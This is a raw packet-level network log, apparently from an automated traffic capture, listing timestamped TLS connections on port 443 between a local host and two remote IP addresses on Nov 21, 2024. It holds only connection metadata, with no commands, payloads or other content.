Nov 21, 2024 22:10:33.185008049 CET	443	49905	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.185097933 CET	443	49905	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.185183048 CET	49905	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.185285091 CET	49905	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.185333967 CET	443	49905	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.185364962 CET	49905	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.185380936 CET	443	49905	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.187496901 CET	49909	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.187542915 CET	443	49909	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.187629938 CET	49909	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.187788010 CET	49909	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.187807083 CET	443	49909	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.276478052 CET	443	49906	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.276858091 CET	49906	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.276933908 CET	443	49906	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.277275085 CET	49906	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.277290106 CET	443	49906	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.315484047 CET	443	49904	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.315650940 CET	443	49904	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.315718889 CET	49904	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.315782070 CET	49904	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.315804005 CET	443	49904	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.315814972 CET	49904	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.315823078 CET	443	49904	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.318263054 CET	49910	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.318326950 CET	443	49910	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.318411112 CET	49910	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.318572044 CET	49910	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.318603039 CET	443	49910	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.855178118 CET	443	49906	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.855263948 CET	443	49906	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.855345011 CET	49906	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.855478048 CET	49906	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.855526924 CET	443	49906	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.855556965 CET	49906	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.855575085 CET	443	49906	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.858417034 CET	49911	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.858478069 CET	443	49911	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.858561039 CET	49911	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.858721972 CET	49911	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.858747959 CET	443	49911	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:34.613578081 CET	443	49907	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:34.614000082 CET	49907	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:34.614063025 CET	443	49907	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:34.614456892 CET	49907	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:34.614470959 CET	443	49907	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:34.889307022 CET	443	49908	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:34.889935970 CET	49908	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:34.889967918 CET	443	49908	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:34.890573978 CET	49908	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:34.890579939 CET	443	49908	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.002330065 CET	443	49909	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.002882957 CET	49909	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.002912998 CET	443	49909	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.003479958 CET	49909	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.003484964 CET	443	49909	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.181410074 CET	443	49910	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.181965113 CET	49910	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.181998014 CET	443	49910	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.182611942 CET	49910	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.182619095 CET	443	49910	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.198036909 CET	443	49907	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.198108912 CET	443	49907	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.198174000 CET	49907	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.198332071 CET	49907	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.198373079 CET	443	49907	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.198404074 CET	49907	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.198420048 CET	443	49907	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.202025890 CET	49912	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.202069998 CET	443	49912	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.202143908 CET	49912	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.202302933 CET	49912	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.202317953 CET	443	49912	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.338386059 CET	49784	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:35.338413000 CET	443	49784	172.64.41.3	192.168.2.4
Nov 21, 2024 22:10:35.363257885 CET	443	49908	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.363454103 CET	443	49908	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.363553047 CET	49908	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.363646984 CET	49908	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.363682985 CET	443	49908	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.363759995 CET	49908	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.363776922 CET	443	49908	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.366700888 CET	49913	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.366795063 CET	443	49913	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.366902113 CET	49913	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.367077112 CET	49913	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.367103100 CET	443	49913	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.445923090 CET	443	49909	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.446084976 CET	443	49909	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.446173906 CET	49909	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.446387053 CET	49909	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.446433067 CET	443	49909	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.446463108 CET	49909	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.446495056 CET	443	49909	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.449362993 CET	49914	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.449404001 CET	443	49914	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.449489117 CET	49914	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.449723959 CET	49914	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.449748039 CET	443	49914	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.583357096 CET	443	49911	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.583785057 CET	49911	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.583827972 CET	443	49911	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.584480047 CET	49911	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.584501028 CET	443	49911	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.648212910 CET	443	49910	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.648293018 CET	443	49910	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.648384094 CET	49910	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.648502111 CET	49910	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.648540974 CET	443	49910	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.648578882 CET	49910	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.648595095 CET	443	49910	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.650909901 CET	49915	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.650998116 CET	443	49915	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:35.651087999 CET	49915	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.651256084 CET	49915	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:35.651330948 CET	443	49915	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:36.020394087 CET	443	49911	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:36.020483971 CET	443	49911	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:36.020565033 CET	49911	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:36.020761013 CET	49911	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:36.020787954 CET	443	49911	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:36.020803928 CET	49911	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:36.020811081 CET	443	49911	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:36.023583889 CET	49916	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:36.023639917 CET	443	49916	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:36.023714066 CET	49916	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:36.023857117 CET	49916	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:36.023868084 CET	443	49916	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:36.400847912 CET	49799	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:36.400891066 CET	49800	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:36.400898933 CET	443	49799	172.64.41.3	192.168.2.4
Nov 21, 2024 22:10:36.400964975 CET	443	49800	172.64.41.3	192.168.2.4
Nov 21, 2024 22:10:36.885325909 CET	49805	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:36.885351896 CET	443	49805	172.64.41.3	192.168.2.4
Nov 21, 2024 22:10:36.916645050 CET	49804	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:36.916717052 CET	443	49804	172.64.41.3	192.168.2.4
Nov 21, 2024 22:10:36.984287024 CET	443	49912	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:36.985546112 CET	49912	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:36.985559940 CET	443	49912	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:36.985996962 CET	49912	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:36.986001968 CET	443	49912	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.161161900 CET	443	49913	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.161711931 CET	49913	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.161778927 CET	443	49913	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.162153006 CET	49913	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.162184000 CET	443	49913	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.240061045 CET	443	49914	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.240526915 CET	49914	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.240545988 CET	443	49914	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.240901947 CET	49914	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.240906954 CET	443	49914	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.485296965 CET	443	49915	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.485969067 CET	49915	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.486051083 CET	443	49915	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.486391068 CET	49915	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.486404896 CET	443	49915	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.490137100 CET	443	49912	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.490200043 CET	443	49912	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.490375996 CET	49912	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.490415096 CET	49912	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.490434885 CET	443	49912	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.490442991 CET	49912	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.490448952 CET	443	49912	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.493438959 CET	49917	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.493535042 CET	443	49917	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.493659973 CET	49917	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.493844032 CET	49917	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.493879080 CET	443	49917	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.605015993 CET	443	49913	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.605170965 CET	443	49913	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.605256081 CET	49913	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.605457067 CET	49913	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.605457067 CET	49913	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.605498075 CET	443	49913	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.605521917 CET	443	49913	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.607678890 CET	49918	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.607711077 CET	443	49918	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.607814074 CET	49918	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.607928038 CET	49918	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.607938051 CET	443	49918	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.684268951 CET	443	49914	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.684448957 CET	443	49914	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.684525967 CET	49914	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.684561968 CET	49914	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.684576035 CET	443	49914	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.684587002 CET	49914	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.684591055 CET	443	49914	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.687055111 CET	49919	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.687150002 CET	443	49919	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.687249899 CET	49919	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.687457085 CET	49919	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.687494040 CET	443	49919	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.928848028 CET	443	49915	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.928935051 CET	443	49915	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.929006100 CET	49915	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.929131031 CET	49915	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.929131985 CET	49915	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.929157972 CET	443	49915	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.929179907 CET	443	49915	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.931669950 CET	49920	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.931771994 CET	443	49920	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.931870937 CET	49920	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.932018995 CET	49920	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.932055950 CET	443	49920	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.955641031 CET	443	49916	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.955980062 CET	49916	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.956005096 CET	443	49916	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:37.956366062 CET	49916	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:37.956373930 CET	443	49916	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:38.408471107 CET	443	49916	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:38.408565998 CET	443	49916	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:38.408621073 CET	49916	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:38.408839941 CET	49916	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:38.408857107 CET	443	49916	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:38.408866882 CET	49916	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:38.408871889 CET	443	49916	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:38.411345959 CET	49921	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:38.411434889 CET	443	49921	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:38.411516905 CET	49921	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:38.411683083 CET	49921	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:38.411720037 CET	443	49921	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.338006973 CET	443	49917	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.338481903 CET	49917	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.338532925 CET	443	49917	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.338901997 CET	49917	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.338917017 CET	443	49917	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.417892933 CET	443	49918	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.418266058 CET	49918	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.418281078 CET	443	49918	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.418689966 CET	49918	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.418694019 CET	443	49918	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.484668016 CET	443	49919	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.486382008 CET	49919	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.486428022 CET	443	49919	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.486787081 CET	49919	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.486800909 CET	443	49919	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.925811052 CET	443	49917	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.925839901 CET	443	49917	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.925889015 CET	443	49917	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.925923109 CET	49917	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.925950050 CET	49917	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.926148891 CET	49917	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.926168919 CET	443	49917	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.926181078 CET	49917	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.926186085 CET	443	49917	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.928895950 CET	49922	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.928936958 CET	443	49922	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.929014921 CET	49922	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.929169893 CET	49922	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.929179907 CET	443	49922	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.959748983 CET	443	49918	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.959821939 CET	443	49918	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.959880114 CET	49918	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.959965944 CET	49918	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.959983110 CET	443	49918	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.959995031 CET	49918	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.960000038 CET	443	49918	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.961081028 CET	443	49919	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.961163998 CET	443	49919	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.961213112 CET	49919	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.961251020 CET	49919	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.961266994 CET	443	49919	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.961277962 CET	49919	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.961282015 CET	443	49919	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.962229013 CET	49923	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.962274075 CET	443	49923	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.962349892 CET	49923	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.962455034 CET	49923	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.962471008 CET	443	49923	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.962886095 CET	49924	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.962932110 CET	443	49924	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.962994099 CET	49924	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.963114977 CET	49924	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.963130951 CET	443	49924	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.965780020 CET	443	49920	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.966070890 CET	49920	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.966099977 CET	443	49920	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:39.966450930 CET	49920	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:39.966456890 CET	443	49920	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:40.365269899 CET	443	49921	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:40.365936041 CET	49921	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:40.365968943 CET	443	49921	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:40.366368055 CET	49921	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:40.366374016 CET	443	49921	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:40.425201893 CET	443	49920	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:40.425230980 CET	443	49920	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:40.425476074 CET	49920	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:40.425503016 CET	443	49920	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:40.425626993 CET	49920	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:40.425641060 CET	443	49920	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:40.425648928 CET	49920	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:40.425803900 CET	443	49920	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:40.425849915 CET	443	49920	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:40.425894022 CET	49920	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:40.428430080 CET	49925	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:40.428487062 CET	443	49925	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:40.428576946 CET	49925	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:40.428710938 CET	49925	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:40.428725958 CET	443	49925	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:40.815928936 CET	443	49921	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:40.815963984 CET	443	49921	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:40.816036940 CET	49921	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:40.816087008 CET	443	49921	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:40.816137075 CET	49921	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:40.816308975 CET	49921	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:40.816317081 CET	443	49921	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:40.816339016 CET	49921	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:40.816545010 CET	443	49921	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:40.816591024 CET	443	49921	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:40.816633940 CET	49921	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:40.819091082 CET	49926	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:40.819164991 CET	443	49926	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:40.819250107 CET	49926	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:40.819402933 CET	49926	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:40.819422960 CET	443	49926	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:41.653706074 CET	443	49922	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:41.654159069 CET	49922	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:41.654181004 CET	443	49922	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:41.654565096 CET	49922	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:41.654568911 CET	443	49922	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:41.757716894 CET	443	49923	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:41.757953882 CET	443	49924	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:41.758063078 CET	49923	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:41.758120060 CET	443	49923	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:41.758208990 CET	49924	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:41.758241892 CET	443	49924	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:41.758438110 CET	49923	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:41.758451939 CET	443	49923	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:41.758584023 CET	49924	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:41.758590937 CET	443	49924	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.100152016 CET	443	49922	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.100167036 CET	443	49922	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.100266933 CET	49922	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.100317955 CET	443	49922	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.100523949 CET	49922	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.100523949 CET	49922	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.100564957 CET	443	49922	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.100723028 CET	443	49922	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.100749969 CET	443	49922	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.100796938 CET	49922	443	192.168.2.4	13.107.246.63
